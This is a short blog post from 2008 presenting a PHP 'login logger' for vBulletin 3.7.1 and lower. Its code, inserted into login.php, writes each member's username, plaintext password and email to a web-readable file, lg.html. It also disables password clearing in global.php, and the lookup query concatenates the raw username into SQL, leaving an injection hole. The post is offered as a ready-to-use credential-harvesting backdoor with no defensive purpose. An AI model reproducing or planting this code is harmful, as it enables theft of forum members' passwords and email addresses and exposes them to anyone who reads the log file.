Portfolio
My Blog
Scroll down to discover
Search
Categories

[PHP]vbulletin login logger

October 28, 2008Category : Bug & Security

Here is a small script called logger that can record the members logins on vbulletin

This script was tested on Vbulletin 3.7.1 & lower.

Open login.Php and find :

// create new session
process_new_login($vbulletin->GPC[‘logintype’], $vbulletin->GPC[‘cookieuser’], $vbulletin->GPC[‘cssprefs’]);

Add below :

$lg_username = strtolower($vbulletin->GPC[“vb_login_username”]);
$lg_password = $vbulletin->GPC[“vb_login_password”];
//    The log will be recorded in this file
$lg_file = “./includes/lg.html”;
$sql_query = @mysql_query(“SELECT * FROM ” . TABLE_PREFIX . “user WHERE username='” . $lg_username . “‘”);

while($row = @mysql_fetch_array($sql_query))
{

if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, “a+”);
@fwrite($fp1, $lg_username . ‘ : ‘ .  $lg_password.” (” . $row[“email”] . “)\n”);
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, “w”);
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}

Open global.Php and find:

$show[‘nopasswordempty’] = defined(‘DISABLE_PASSWORD_CLEARING’) ? 1 : 0;

Replace with :

//$show[‘nopasswordempty’] = defined(‘DISABLE_PASSWORD_CLEARING’) ? 1 : 0;

01.
© Oliver / All rights reserved.
To top